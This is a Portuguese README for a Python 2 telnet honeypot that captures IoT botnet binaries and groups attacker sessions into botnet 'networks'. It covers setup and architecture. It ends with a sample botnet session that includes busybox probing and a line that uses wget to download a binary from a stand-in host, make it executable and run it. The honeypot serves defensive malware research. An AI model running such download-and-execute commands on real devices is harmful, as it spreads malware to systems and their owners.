phype/telnet-iot-honeypotHoneypot Telnet em Python para capturar binários de botnet
Este projeto não é mais suportado nem está em desenvolvimento. Ele é baseado em python2, que atingiu seu fim de vida em 2020, e utiliza dependências que estão se tornando cada vez mais difíceis de instalar. Use por sua conta e risco!
'Honeypot Telnet em Python para capturar binários de botnets'
Este projeto implementa um servidor telnet em Python que tenta atuar como um honeypot para Malware de IoT que se espalha por senhas padrão terrivelmente inseguras em servidores telnet na internet.
O honeypot funciona emulando um ambiente shell, assim como o cowrie (https://github.com/micheloosterhof/cowrie). O objetivo deste projeto é principalmente analisar automaticamente conexões de Botnets e "mapear" Botnets, vinculando diferentes conexões e até mesmo Redes.
A aplicação possui uma arquitetura cliente/servidor, com um cliente (o honeypot real) aceitando conexões telnet e um servidor que recebe informações sobre as conexões e faz a análise.
O servidor backend expõe uma interface HTTP que é usada para acessar o frontend, bem como pelos clientes para enviar novas informações de Conexão ao backend.
O Backend usa 2 mecanismos diferentes para vincular conexões automaticamente:
Redes são Botnets descobertas. Uma rede é o conjunto de todas as conexões, urls e amostras vinculadas. Urls e amostras são vinculados quando são usados em uma conexão. Duas conexões são vinculadas quando ambas são recebidas pelo mesmo cliente honeypot (múltiplos clientes são suportados!) e usam as mesmas credenciais em um curto período de tempo (padrão 2 minutos) ou vêm do mesmo endereço IP.
Várias redes são identificadas como usando o mesmo tipo de malware se o texto digitado durante as sessões das redes for praticamente o mesmo. Esta comparação é feita usando uma espécie de função "hash" que basicamente traduz uma sessão (ou conexão) em uma sequência de palavras e então mapeia cada palavra para um único byte, de modo que a sequência de bytes resultante possa ser facilmente pesquisada.
A aplicação possui um arquivo de configuração chamado config.py. Amostras são incluídas para implantações locais e cliente/servidor.
O backend requer um banco de dados SQL (sqlite padrão) que é inicializado na primeira execução. Antes da primeira execução, você deve gerar uma conta de administrador que é usada para gerar mais usuários. A conta de administrador também pode ser usada diretamente por um cliente para postar conexões. Quando mais de um honeypot for conectado, é recomendável criar vários usuários.
bash create_config.sh
Tanto o cliente quanto o backend lerão os arquivos config.yaml e config.dist.yaml para ler os parâmetros de configuração. O arquivo config.dist.yaml inclui valores padrão para todos, exceto as credenciais do usuário administrador, e esses parâmetros são sobrescritos pelas entradas no arquivo config.yaml.
python backend.py
Este projeto contém seu próprio honeypot, no entanto, devido à arquitetura cliente-servidor, outros honeypots também podem ser usados.
python honeypot.py
O cliente não pode ser iniciado sem o servidor em execução. Para usar uma configuração diferente para o cliente, você pode usar a opção -c assim:
python honeypot.py -c myconfig.yaml
Se você quiser apenas verificar a funcionalidade do honeypot, pode iniciar o cliente em modo interativo:
python honeypot shell
Eu escrevi um plugin de saída para o cowrie, que tem muito mais recursos do que o honeypot interno. Se você quiser usar o cowrie, confira meu fork que inclui o módulo de saída aqui: https://github.com/Phype/cowrie .
Após o servidor ser iniciado, abra http://127.0.0.1/ no seu navegador favorito.
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit
